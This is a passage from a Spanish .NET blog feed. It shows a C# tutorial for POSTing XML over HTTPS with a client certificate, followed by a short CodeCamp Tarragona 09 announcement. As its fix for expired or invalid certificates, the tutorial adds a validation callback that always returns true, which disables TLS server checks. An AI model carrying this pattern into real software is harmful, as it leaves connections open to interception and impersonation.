            &lt;span style="color:#0000ff;"&gt;catch&lt;/span&gt; (Exception)
            {
                &lt;span style="color:#0000ff;"&gt;throw&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;new&lt;/span&gt; Exception(&amp;quot;&lt;span style="color:#8b0000;"&gt;Error al generar el certificado de cliente. &lt;/span&gt;&amp;quot; + certificado);
            }

        }

        request.Method = &amp;quot;&lt;span style="color:#8b0000;"&gt;POST&lt;/span&gt;&amp;quot;;
        request.ContentLength = bytes.Length;
        request.ContentType = &amp;quot;&lt;span style="color:#8b0000;"&gt;text/xml&lt;/span&gt;&amp;quot;;
        &lt;span style="color:#0000ff;"&gt;using&lt;/span&gt; (System.IO.Stream requestStream = request.GetRequestStream())
        {
            requestStream.Write(bytes, 0, bytes.Length);
        }

        &lt;span style="color:#0000ff;"&gt;using&lt;/span&gt; (HttpWebResponse response = (HttpWebResponse)request.GetResponse())
        {
            &lt;span style="color:#0000ff;"&gt;if&lt;/span&gt; (response.StatusCode != HttpStatusCode.OK)
            {
                &lt;span style="color:#0000ff;"&gt;string&lt;/span&gt; message = String.Format(&amp;quot;&lt;span style="color:#8b0000;"&gt;POST failed. Received HTTP {0}&lt;/span&gt;&amp;quot;,
                response.StatusCode);
                &lt;span style="color:#0000ff;"&gt;throw&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;new&lt;/span&gt; ApplicationException(message);
            }

            &lt;span style="color:#008000;"&gt;//Mostramos la respuesta de la P&amp;aacute;gina&lt;/span&gt;
            &lt;span style="color:#0000ff;"&gt;using&lt;/span&gt; (System.IO.StreamReader sr = &lt;span style="color:#0000ff;"&gt;new&lt;/span&gt; System.IO.StreamReader(
                response.GetResponseStream(), System.Text.Encoding.Default))
            {
                resultado = sr.ReadToEnd();
            }
        }

        &lt;span style="color:#0000ff;"&gt;return&lt;/span&gt; resultado;

}&lt;/pre&gt;
&lt;p&gt;A este m&amp;eacute;todo se le pasan varios par&amp;aacute;metros:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;url&lt;/strong&gt; &amp;ndash;&amp;gt; url a donde haremos la petici&amp;oacute;n- &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;xml&lt;/strong&gt; &amp;ndash;&amp;gt; texto XML que espera el servidor. &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;certificado&lt;/strong&gt; &amp;ndash;&amp;gt; ruta f&amp;iacute;sica donde tenemos guardado el fichero de certificaci&amp;oacute;n. &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;user&lt;/strong&gt; &amp;ndash;&amp;gt; usuario si necesitamos credenciales de red &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;pas&lt;/strong&gt; &amp;ndash;&amp;gt; contrase&amp;ntilde;a del usuario de red. &lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Cabe destacar que para poder conectar con el servidor HTTPS necesitamos el certificado de cliente correcto. Para conseguirlo lo podemos descargar directamente de la web.&lt;/p&gt;
&lt;p&gt;1. Accedemos al recurso https &amp;ldquo;puede que el certificado est&amp;eacute; caducado y de un error&amp;rdquo; seleccionamos &lt;strong&gt;Vaya a este sitio web (no recomendado)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://geeks.ms/Community/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/marckys/Error1_5F00_452EABDC.jpg"&gt;&lt;img border="0" width="505" src="http://lonetcamp.com/Community/cfs-filesystemfile.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/marckys/Error1_5F00_452EABDC.jpg" alt="Error1" height="385" style="display:block;margin-left:NaNpx;margin-right:NaNpx;border-width:0px;border:0;" title="Error1" /&gt;&lt;/a&gt; &lt;/p&gt;
&lt;p&gt;2. Seleccionamos ver el certificado&lt;/p&gt;
&lt;p&gt;&lt;a href="http://geeks.ms/Community/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/marckys/certificado_5F00_42136442.jpg"&gt;&lt;img border="0" width="504" src="http://lonetcamp.com/Community/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/marckys/certificado_5F00_thumb_5F00_39B740FE.jpg" alt="certificado" height="221" style="display:block;margin-left:NaNpx;margin-right:NaNpx;border-width:0px;border:0;" title="certificado" /&gt;&lt;/a&gt; &lt;/p&gt;
&lt;p&gt;3. guardamos el certificado en el disco.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://geeks.ms/Community/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/marckys/certificado2_5F00_440AF60F.jpg"&gt;&lt;img border="0" width="353" src="http://lonetcamp.com/Community/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/marckys/certificado2_5F00_thumb_5F00_76FFA7D8.jpg" alt="certificado2" height="394" style="display:block;margin-left:NaNpx;margin-right:NaNpx;border-width:0px;border:0;" title="certificado2" /&gt;&lt;/a&gt; &lt;/p&gt;
&lt;p&gt;Una vez guardado el certificado ya podemos hacer la llamada al recurso web.&lt;/p&gt;
&lt;pre&gt;&lt;span style="color:#0000ff;"&gt;protected&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;void&lt;/span&gt; Button1_Click(&lt;span style="color:#0000ff;"&gt;object&lt;/span&gt; sender, EventArgs e)
{
   &lt;span style="color:#0000ff;"&gt;string&lt;/span&gt; respuesta = Conector.PostXml(&amp;quot;&lt;span style="color:#8b0000;"&gt;https://test2.com/&lt;/span&gt;&amp;quot;,
      &amp;quot;&lt;span style="color:#8b0000;"&gt;&amp;lt;test&amp;gt;&amp;lt;dato&amp;gt;&amp;lt;/dato&amp;gt;&amp;lt;/test&amp;gt;&lt;/span&gt;&amp;quot;, 
      &amp;quot;&lt;span style="color:#8b0000;"&gt;c\\certificado.cer&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style="color:#8b0000;"&gt;winUser&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style="color:#8b0000;"&gt;PassUser&lt;/span&gt;&amp;quot;);
        
}&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Pero si el certificado no es correcto o est&amp;aacute; caducado no nos permite hacer la consulta !!!&lt;/strong&gt;&lt;/p&gt;
&lt;p align="justify"&gt;Entonces lo que tenemos que hacer es personalizar la validaci&amp;oacute;n del certificado para que nos devuelva el valor que nos interese en cada caso.&lt;/p&gt;
&lt;p align="justify"&gt;Utilizaremos el delegado &lt;a target="_blank" href="http://msdn.microsoft.com/es-es/library/system.net.servicepointmanager.servercertificatevalidationcallback(VS.80).aspx"&gt;&lt;span style="color:#006ff7;"&gt;ServerCertificateValidationCallback&lt;/span&gt;&lt;/a&gt; para lanzar la validaci&amp;oacute;n personalizada del certificado y en nuestro caso devolver true.&lt;/p&gt;
&lt;pre&gt;ServicePointManager.ServerCertificateValidationCallback 
+= &lt;span style="color:#0000ff;"&gt;new&lt;/span&gt; System.Net.Security.RemoteCertificateValidationCallback(customXertificateValidation);&lt;/pre&gt;
&lt;pre&gt;&lt;span style="color:#0000ff;"&gt;public&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;static&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;bool&lt;/span&gt; customXertificateValidation(&lt;span style="color:#0000ff;"&gt;object&lt;/span&gt; sender,
 System.Security.Cryptography.X509Certificates.X509Certificate cert, 
System.Security.Cryptography.X509Certificates.X509Chain chain, 

System.Net.Security.SslPolicyErrors error)
{
        &lt;span style="color:#008000;"&gt;//return false;&lt;/span&gt;
        &lt;span style="color:#0000ff;"&gt;return&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;true&lt;/span&gt;;
}&lt;/pre&gt;
&lt;p&gt;&lt;a href="http://geeks.ms/Community/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/marckys/error2_5F00_7F8597D3.jpg"&gt;&lt;img border="0" width="504" src="http://lonetcamp.com/Community/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/marckys/error2_5F00_thumb_5F00_4C4BEF1B.jpg" alt="error2" height="178" style="display:block;margin-left:NaNpx;margin-right:NaNpx;border-width:0px;border:0;" title="error2" /&gt;&lt;/a&gt; &lt;/p&gt;
&lt;p&gt;Esta clase se podr&amp;iacute;a personalizar m&amp;aacute;s para que dependiendo del error devuelva verdadero o falso, gracias a la enumeraci&amp;oacute;n con los tipos de error.&lt;/p&gt;
&lt;pre&gt;&lt;span style="color:#0000ff;"&gt;public&lt;/span&gt; &lt;span style="color:#0000ff;"&gt;enum&lt;/span&gt; CertificateProblem : &lt;span style="color:#0000ff;"&gt;long&lt;/span&gt;
{
    CertEXPIRED = 0x800B0101,
    CertVALIDITYPERIODNESTING = 0x800B0102,
    CertROLE = 0x800B0103,
    CertPATHLENCONST = 0x800B0104,
    CertCRITICAL = 0x800B0105,
    CertPURPOSE = 0x800B0106,
    CertISSUERCHAINING = 0x800B0107,
    CertMALFORMED = 0x800B0108,
    CertUNTRUSTEDROOT = 0x800B0109,
    CertCHAINING = 0x800B010A,
    CertREVOKED = 0x800B010C,
    CertUNTRUSTEDTESTROOT = 0x800B010D,
    CertREVOCATION_FAILURE = 0x800B010E,
    CertCN_NO_MATCH = 0x800B010F,
    CertWRONG_USAGE = 0x800B0110,
    CertUNTRUSTEDCA = 0x800B0112
}&lt;/pre&gt;
&lt;p&gt;Con esto tenemos todo lo necesario para que nuestro ejemplo est&amp;eacute; funcionando perfectamente.&lt;/p&gt;
&lt;p&gt;Espero que sea de utilidad.&amp;nbsp;&amp;nbsp; Ejemplo &lt;a href="http://lonetcamp.com/Community/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/marckys.Ejemplos/ClienteHttps.zip"&gt;&lt;img width="38" src="http://lonetcamp.com/Community/cfs-file.ashx/__key/CommunityServer.Components.SiteFiles/11/donwload.jpg" height="35" style="vertical-align:middle;border-width:0px;" alt="" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Nos vemos en el &lt;a target="_blank" href="http://www.codecamp.es/"&gt;CodeCamp 09&lt;/a&gt;&amp;nbsp;&amp;nbsp; Cross-Posting &lt;a href="http://lonetcamp.com" title="http://lonetcamp.com"&gt;http://lonetcamp.com&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://geeks.ms/aggbug.aspx?PostID=156613" width="1" height="1"&gt;</content><author><name>mrubino</name><uri>http://geeks.ms/members/mrubino/default.aspx</uri></author><category term="https" scheme="http://geeks.ms/blogs/mrubino/archive/tags/https/default.aspx" /><category term="consultas foro" scheme="http://geeks.ms/blogs/mrubino/archive/tags/consultas+foro/default.aspx" /></entry><entry><title>Miguel de Icaza con el CodeCamp Tarragona 09</title><link rel="alternate" type="text/html" href="/blogs/mrubino/archive/2009/09/09/miguel-de-icaza-con-el-codecamp-tarragona-09.aspx" /><id>/blogs/mrubino/archive/2009/09/09/miguel-de-icaza-con-el-codecamp-tarragona-09.aspx</id><published>2009-09-09T18:10:00Z</published><updated>2009-09-09T18:10:00Z</updated><content type="html">&lt;p align="justify"&gt;El creador de Mono&lt;strong&gt; Miguel Icaza &lt;/strong&gt;que es un proyecto de c&amp;oacute;digo abierto&amp;nbsp; para crear un&amp;nbsp; grupo de herramientas libres, basadas en &lt;a href="http://lonetcamp.com/wiki/GNU/Linux"&gt;GNU/Linux&lt;/a&gt; y compatibles con &lt;a href="http://lonetcamp.com/wiki/.NET_de_Microsoft"&gt;.NET&lt;/a&gt; seg&amp;uacute;n lo especificado por el &lt;a href="http://lonetcamp.com/wiki/ECMA"&gt;ECMA&lt;/a&gt;. Actualmente impulsado por &lt;a href="http://lonetcamp.com/wiki/Novell"&gt;Novell&lt;/a&gt; (tras la adquisici&amp;oacute;n de Ximian). Fuente &lt;a href="http://es.wikipedia.org/wiki/Proyecto_Mono"&gt;http://es.wikipedia.org/wiki/Proyecto_Mono&lt;/a&gt; .&lt;/p&gt;
&lt;p align="justify"&gt;Esta apoyando el Codecamp que pronto se realizar&amp;aacute; en el Camp de Tarragona y que se est&amp;aacute; organizando por los grupos de usuarios catalanes de .NET y Mono. Si quieres ver el anuncio del blog de &lt;strong&gt;Miguel Icaza&lt;/strong&gt; puedes visitar&amp;nbsp; &lt;a href="http://tirania.org/blog/archive/2009/Sep-08.html"&gt;http://tirania.org/blog/archive/2009/Sep-08.html&lt;/a&gt;&lt;/p&gt;
&lt;p align="justify"&gt;Espero veros a todos en el &lt;a href="http://www.codecamp.es/"&gt;CodeCamp&lt;/a&gt;. Muy pronto publicaremos la lista definitiva de ponentes!!!&lt;/p&gt;
&lt;p align="justify"&gt;Saludos.&lt;a href="http://geeks.ms/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/mrubino/Banner2_5F00_2C548B19.png"&gt;&lt;img border="0" align="right" width="385" src="http://geeks.ms/cfs-file.ashx/__key/CommunityServer.Blogs.Components.WeblogFiles/mrubino/Banner2_5F00_thumb_5F00_030785DF.png" alt="Banner2" height="149" style="border-right:0px;border-top:0px;display:inline;margin:0px 0px 0px 60px;border-left:0px;border-bottom:0px;" title="Banner2" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://geeks.ms/aggbug.aspx?PostID=155568" width="1" height="1"&gt;</content><author><name>mrubino</name><uri>http://geeks.ms/members/mrubino/default.aspx</uri></author><category term="eventos" scheme="http://geeks.ms/blogs/mrubino/archive/tags/eventos/default.aspx" /><category term="Grupo Usuarios" scheme="http://geeks.ms/blogs/mrubino/archive/tags/Grupo+Usuarios/default.aspx" /><category term="Mono" scheme="http://geeks.ms/blogs/mrubino/archive/tags/Mono/default.aspx" /></entry></feed>